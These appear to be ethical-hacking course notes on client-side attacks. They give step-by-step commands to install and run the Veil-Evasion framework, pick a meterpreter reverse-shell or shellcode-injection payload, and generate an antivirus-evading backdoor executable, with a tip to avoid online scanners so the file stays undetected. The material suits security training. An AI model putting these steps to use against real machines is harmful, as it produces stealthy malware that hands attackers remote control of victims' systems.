Ethical Hacking

CLIENT SIDE ATTACKS

• Use if server-side attacks fail.
• If IP is probably useless.
• Require user interaction.
• Social engineering can be very useful.
• Information gathering is vital.

Generating an undetectable backdoor using VEIL-EVASION

https://github.com/Veil-Framework/Veil

1. Install veil-evasion

apt-get install veil-evasion

 OR

apt -y install veil

/usr/share/veil/config/setup.sh --force --silent

 OR

sudo apt-get -y install git
git clone https://github.com/Veil-Framework/Veil.git
cd Veil/
./config/setup.sh --force --silent

2. Run veil-evasion

./Veil.py

 Choose evasion tool:

3. Select a backdoor/payload

use [payload number]

List all the available payloads.

[*] Available Payloads:

    1)    autoit/shellcode_inject/flat.py

    2)    auxiliary/coldwar_wrapper.py
    3)    auxiliary/macro_converter.py
    4)    auxiliary/pyinstaller_wrapper.py

    5)    c/meterpreter/rev_http.py
    6)    c/meterpreter/rev_http_service.py
    7)    c/meterpreter/rev_tcp.py
    8)    c/meterpreter/rev_tcp_service.py

    9)    cs/meterpreter/rev_http.py
    10)    cs/meterpreter/rev_https.py
    11)    cs/meterpreter/rev_tcp.py
    12)    cs/shellcode_inject/base64.py
    13)    cs/shellcode_inject/virtual.py

    14)    go/meterpreter/rev_http.py
    15)    go/meterpreter/rev_https.py
    16)    go/meterpreter/rev_tcp.py
    17)    go/shellcode_inject/virtual.py

    18)    lua/shellcode_inject/flat.py

    19)    perl/shellcode_inject/flat.py

    20)    powershell/meterpreter/rev_http.py
    21)    powershell/meterpreter/rev_https.py
    22)    powershell/meterpreter/rev_tcp.py
    23)    powershell/shellcode_inject/psexec_virtual.py
    24)    powershell/shellcode_inject/virtual.py

    25)    python/meterpreter/bind_tcp.py
    26)    python/meterpreter/rev_http.py
    27)    python/meterpreter/rev_https.py
    28)    python/meterpreter/rev_tcp.py
    29)    python/shellcode_inject/aes_encrypt.py
    30)    python/shellcode_inject/arc_encrypt.py
    31)    python/shellcode_inject/base64_substitution.py
    32)    python/shellcode_inject/des_encrypt.py
    33)    python/shellcode_inject/flat.py
    34)    python/shellcode_inject/letter_substitution.py
    35)    python/shellcode_inject/pidinject.py
    36)    python/shellcode_inject/stallion.py

    37)    ruby/meterpreter/rev_http.py
    38)    ruby/meterpreter/rev_https.py
    39)    ruby/meterpreter/rev_tcp.py
    40)    ruby/shellcode_inject/base64.py
    41)    ruby/shellcode_inject/flat.py

Choose a specific payload.

4. Set options

set [option][value]

5. Generate backdoor

generate

 Generate a new backdoor successfully.    /var/lib/veil/output/compiled/backdoor.exe.exe

 Be careful: Don't submit to any online scanner! And don't use it illegally!